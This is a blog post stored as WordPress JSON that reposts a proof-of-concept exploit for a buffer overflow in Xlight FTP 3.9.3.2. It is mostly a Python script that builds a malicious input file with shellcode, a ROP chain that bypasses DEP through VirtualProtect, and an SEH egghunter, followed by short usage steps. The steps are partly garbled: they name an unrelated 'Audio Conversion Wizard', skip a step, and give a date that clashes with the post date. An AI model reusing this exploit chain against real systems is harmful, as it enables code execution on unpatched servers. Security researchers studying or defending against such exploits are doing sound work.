{"id":22036,"date":"2022-03-22T03:28:24","date_gmt":"2022-03-21T23:28:24","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166381\/xlightftp3932-overflow.txt"},"modified":"2022-04-03T11:25:13","modified_gmt":"2022-04-03T06:55:13","slug":"xlight-ftp-3-9-3-2-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/xlight-ftp-3-9-3-2-buffer-overflow\/","title":{"rendered":"Xlight FTP 3.9.3.2 Buffer Overflow"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Xlight FTP v3.9.3.2 &#8211; Buffer Overflow (SEH Egghunter + ROP)<br \/>\n# Exploit Author: Hejap Zairy<br \/>\n# Date: 13.07.2022<br \/>\n# Software Link: http:\/\/www.xlightftpd.com\/download\/setup.exe<br \/>\n# Tested Version: v3.9.3.2(2022-1-5)<br \/>\n# Tested on: Windows 10 64bit<\/p>\n<p dir=\"ltr\"># 1.- Run python code : 0day-Hejap_Zairy.py<br \/>\n# 2.- Open 0day_Hejap.txt and copy All content to Clipboard<br \/>\n# 3.- Open Audio Conversion Wizard and press Enter Code<br \/>\n# 5.- Click &#8216;Server ip &#8216; -&gt; &#8216;General&#8217; -&gt; &#8216;Advanced&#8217; -&gt; &#8216;Excute a program after user logged in &#8216; -&gt; &#8216;Setup&#8217;<br \/>\n# 6.- Crashed<\/p>\n<p dir=\"ltr\"># Author Code By Hejap Zairy<br \/>\n#!\/usr\/bin\/env python<br \/>\n# Auther Hejap Zairy<br \/>\n#!\/usr\/bin\/env python<br \/>\nimport struct<\/p>\n<p dir=\"ltr\">##================================================================================<br \/>\n## 2022-03-12 16:54:06<br \/>\n##================================================================================<br \/>\n##&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n## Module info :<br \/>\n##&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n## Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename &amp; Path<br \/>\n##&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n## 0x76aa0000 | 0x76ae4000 | 0x00044000 | True | True | True | False | True | 10.0.17763.1 [SHLWAPI.dll] (C:\\Windows\\System32\\SHLWAPI.dll)<br \/>\n## 0x76970000 | 0x76a93000 | 0x00123000 | True | True | True | False | True | 10.0.17763.1490 [ucrtbase.dll] (C:\\Windows\\System32\\ucrtbase.dll)<br \/>\n## 0x766a0000 | 0x766bc000 | 0x0001c000 | True | True | True | False | True | 10.0.17763.1075 [profapi.dll] (C:\\Windows\\System32\\profapi.dll)<br \/>\n## 0x76340000 | 0x763c0000 | 0x00080000 | True | True | True | False | True | 10.0.17763.1 [msvcp_win.dll] (C:\\Windows\\System32\\msvcp_win.dll)<br \/>\n## 0x75680000 | 0x757ea000 | 0x0016a000 | True | True | True | False | True | 10.0.17763.1879 [gdi32full.dll] (C:\\Windows\\System32\\gdi32full.dll)<br \/>\n## 0x75a60000 | 0x75bfe000 | 0x0019e000 | True | True | True | False | True | 10.0.17763.1 [CRYPT32.dll] (C:\\Windows\\System32\\CRYPT32.dll)<br \/>\n## 0x74ff0000 | 0x74fff000 | 0x0000f000 | True | True | True | False | True | 10.0.17763.1 [kernel.appcore.dll] (C:\\Windows\\System32\\kernel.appcore.dll)<br \/>\n## 0x00400000 | 0x006d5000 | 0x002d5000 | False | False | False | False | False | 3.9.3.2 [xlight.exe] (C:\\Users\\Tarnished\\Desktop\\Xlight\\xlight.exe)<br \/>\n## 0x74870000 | 0x74909000 | 0x00099000 | True | True | True | False | True | 10.0.17763.1075 [ODBC32.dll] (C:\\Windows\\SYSTEM32\\ODBC32.dll)<br \/>\n## 0x74b20000 | 0x74bbc000 | 0x0009c000 | True | True | True | False | True | 10.0.17763.1 [apphelp.dll] (C:\\Windows\\SYSTEM32\\apphelp.dll)<br \/>\n## 0x76280000 | 0x76297000 | 0x00017000 | True | True | True | False | True | 10.0.17763.1 [win32u.dll] (C:\\Windows\\System32\\win32u.dll)<br \/>\n## 0x75c50000 | 0x761a6000 | 0x00556000 | True | True | True | False | True | 10.0.17763.1911 [SHELL32.dll] (C:\\Windows\\System32\\SHELL32.dll)<\/p>\n<p dir=\"ltr\">##0x006d4270 : kernel32.loadlibrarya | 0x76ce2280 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\\Users\\Tarnished\\Desktop\\Xlight\\xlight.exe)<br \/>\n##0x006d4258 : comdlg32.getopenfilenamea | 0x77226240 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\\Users\\Tarnished\\Desktop\\Xlight\\xlight.exe)<br \/>\n##0x006d427c : kernel32.virtualprotect | 0x76ce0c10 | startnull,asciiprint,ascii {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\\Users\\Tarnished\\Desktop\\Xlight\\xlight.exe)<br \/>\n##0x006d4278 : kernel32.getprocaddress | 0x76ce05a0 | startnull,asciiprint,ascii,alphanum {PAGE_READWRITE} [xlight.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.9.3.2 (C:\\Users\\Tarnished\\Desktop\\Xlight\\xlight.exe)<br \/>\n# RopFunc syscall null<br \/>\nbadchars = [0x00,0x0a,0x0d,0x3a,0xff]\n<p dir=\"ltr\">buf = b&#8221;&#8221;<br \/>\nbuf += b&#8221;\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9&#8243;<br \/>\nbuf += b&#8221;\\x64\\x8b\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08&#8243;<br \/>\nbuf += b&#8221;\\x8b\\x7e\\x20\\x8b\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1&#8243;<br \/>\nbuf += b&#8221;\\xff\\xe1\\x60\\x8b\\x6c\\x24\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28&#8243;<br \/>\nbuf += b&#8221;\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a\\x20\\x01\\xeb\\xe3\\x34&#8243;<br \/>\nbuf += b&#8221;\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0\\xfc\\xac\\x84&#8243;<br \/>\nbuf += b&#8221;\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c\\x24&#8243;<br \/>\nbuf += b&#8221;\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b&#8221;<br \/>\nbuf += b&#8221;\\x5a\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c&#8221;<br \/>\nbuf += b&#8221;\\x61\\xc3\\xb2\\x08\\x29\\xd4\\x89\\xe5\\x89\\xc2\\x68\\x8e\\x4e&#8221;<br \/>\nbuf += b&#8221;\\x0e\\xec\\x52\\xe8\\x9f\\xff\\xff\\xff\\x89\\x45\\x04\\xbb\\xef&#8221;<br \/>\nbuf += b&#8221;\\xce\\xe0\\x60\\x87\\x1c\\x24\\x52\\xe8\\x8e\\xff\\xff\\xff\\x89&#8243;<br \/>\nbuf += b&#8221;\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33\\x32\\x2e\\x64\\x68&#8243;<br \/>\nbuf += b&#8221;\\x75\\x73\\x65\\x72\\x30\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56&#8243;<br \/>\nbuf += b&#8221;\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c&#8221;<br \/>\nbuf += b&#8221;\\x24\\x52\\xe8\\x5f\\xff\\xff\\xff\\x68\\x6f\\x78\\x58\\x20\\x68&#8243;<br \/>\nbuf += b&#8221;\\x61\\x67\\x65\\x42\\x68\\x4d\\x65\\x73\\x73\\x31\\xdb\\x88\\x5c&#8221;<br \/>\nbuf += b&#8221;\\x24\\x0a\\x89\\xe3\\x68\\x58\\x20\\x20\\x20\\x68\\x61\\x69\\x72&#8243;<br \/>\nbuf += b&#8221;\\x79\\x68\\x61\\x70\\x20\\x5a\\x68\\x20\\x48\\x65\\x6a\\x68\\x30&#8243;<br \/>\nbuf += b&#8221;\\x64\\x61\\x79\\x31\\xc9\\x88\\x4c\\x24\\x10\\x89\\xe1\\x31\\xd2&#8243;<br \/>\nbuf += b&#8221;\\x52\\x53\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08&#8243;<\/p>\n<p dir=\"ltr\">def Hejap_rop_chain():<\/p>\n<p dir=\"ltr\">Hejap_gadgets = [<br \/>\n0x75c4f468, # POP EBX # RETN [windows.storage.dll] ** REBASED ** ASLR<br \/>\n0x7731c2a0, # ptr to &amp;VirtualProtect() [IAT CRYPT32.dll] ** REBASED ** ASLR<br \/>\n0x75deb176, # MOV ESI,DWORD PTR DS:[EBX] # RETN [windows.storage.dll] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_ebp:&#8212;]\n0x7545eebb, # POP EBP # RETN [SHLWAPI.dll] ** REBASED ** ASLR<br \/>\n0x75ff2bdb, # &amp; call esp [msvcp_win.dll] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_ebx:&#8212;]\n0x755d53b2, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR<br \/>\n0xfffffdff, # Value to negate, will become 0x00000201<br \/>\n0x74d241d7, # NEG EAX # RETN [USER32.dll] ** REBASED ** ASLR<br \/>\n0x75e72ff1, # XCHG EAX,EBX # RETN [windows.storage.dll] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_edx:&#8212;]\n0x765a2dad, # POP EAX # RETN [bcryptPrimitives.dll] ** REBASED ** ASLR<br \/>\n0xffffffc0, # Value to negate, will become 0x00000040<br \/>\n0x75297b65, # NEG EAX # RETN [gdi32full.dll] ** REBASED ** ASLR<br \/>\n0x76a3b05a, # XCHG EAX,EDX # RETN [SHELL32.dll] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_ecx:&#8212;]\n0x72bb29ef, # POP ECX # RETN [UXTHEME.DLL] ** REBASED ** ASLR<br \/>\n0x7774f16b, # &amp;Writable location [ntdll.dll] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_edi:&#8212;]\n0x77275d3d, # POP EDI # RETN [CRYPT32.dll] ** REBASED ** ASLR<br \/>\n0x75849686, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR<br \/>\n#[&#8212;INFO:gadgets_to_set_eax:&#8212;]\n0x72bf2465, # POP EAX # RETN [UXTHEME.DLL] ** REBASED ** ASLR<br \/>\n0x90909090, # nop<br \/>\n#[&#8212;INFO:pushad:&#8212;]\n0x76a37959, # PUSHAD # RETN [SHELL32.dll] ** REBASED ** ASLR<br \/>\n]\nreturn &#8221;.join(struct.pack(&#8216;&lt;I&#8217;, _) for _ in Hejap_gadgets)<\/p>\n<p dir=\"ltr\">egg = &#8220;\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\\x02\\x58\\xcd\\x2e\\x3c\\x05\\x5a\\x74&#8243;<br \/>\negg+=&#8221;\\xef\\xb8\\x68\\x30\\x30\\x70\\x8b\\xfa\\xaf\\x75\\xea\\xaf\\x75\\xe7\\xff\\xe7&#8221;<br \/>\nrop_chain = Hejap_rop_chain()<br \/>\noffset = 452<br \/>\nnseh = &#8220;\\x90&#8221; * 4<br \/>\njunk = &#8220;A&#8221; * (offset &#8211; len(nseh))<br \/>\nstackpivot = struct.pack(&#8216;&lt;I&#8217;, 0x8e648b26 ) # POP ESP # POP EBP # RETN ** [xlight.exe<br \/>\n#seh = struct.pack(&#8216;&lt;I&#8217;, 0x0019ccb8 ) null<\/p>\n<p dir=\"ltr\">buffer = junk + nseh + stackpivot + rop_chain + &#8220;\\x90&#8221; * 5 + egg + &#8216;h00ph00p&#8217; + buf + &#8220;\\x90&#8221; * (1000 &#8211; len(egg)-len(stackpivot))<br \/>\nf = open(&#8220;0day_hejap.txt&#8221;, &#8220;w&#8221;)<br \/>\nf.write(buffer)<br \/>\nf.close()<\/p>\n<p dir=\"ltr\"># Proof and Exploit:<\/p>\n<blockquote class=\"imgur-embed-pub\" lang=\"en\" data-id=\"jMURHQF\"><p><a href=\"https:\/\/imgur.com\/jMURHQF\" target=\"_blank\" rel=\"noopener\">View post on imgur.com<\/a><\/p><\/blockquote>\n<p><script async src=\"\/\/s.imgur.com\/min\/embed.js\" charset=\"utf-8\"><\/script><\/p>\n<blockquote class=\"imgur-embed-pub\" lang=\"en\" data-id=\"aw6hZo2\"><p><a href=\"https:\/\/imgur.com\/aw6hZo2\" target=\"_blank\" rel=\"noopener\">View post on imgur.com<\/a><\/p><\/blockquote>\n<p><script async src=\"\/\/s.imgur.com\/min\/embed.js\" charset=\"utf-8\"><\/script><br \/>\n#Video<br \/>\nhttps:\/\/streamable.com\/gmqz5x<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Xlight FTP v3.9.3.2 &#8211; Buffer Overflow (SEH Egghunter + ROP) # Exploit Author: Hejap Zairy # Date: 13.07.2022 # Software Link: http:\/\/www.xlightftpd.com\/download\/setup.exe # Tested Version: v3.9.3.2(2022-1-5) # Tested on: Windows 10 64bit # 1.- Run python code : 0day-Hejap_Zairy.py # 2.- Open 0day_Hejap.txt and copy All content to Clipboard # 3.- Open &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22036","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22036","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22036"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22036\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22036"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22036"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22036"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}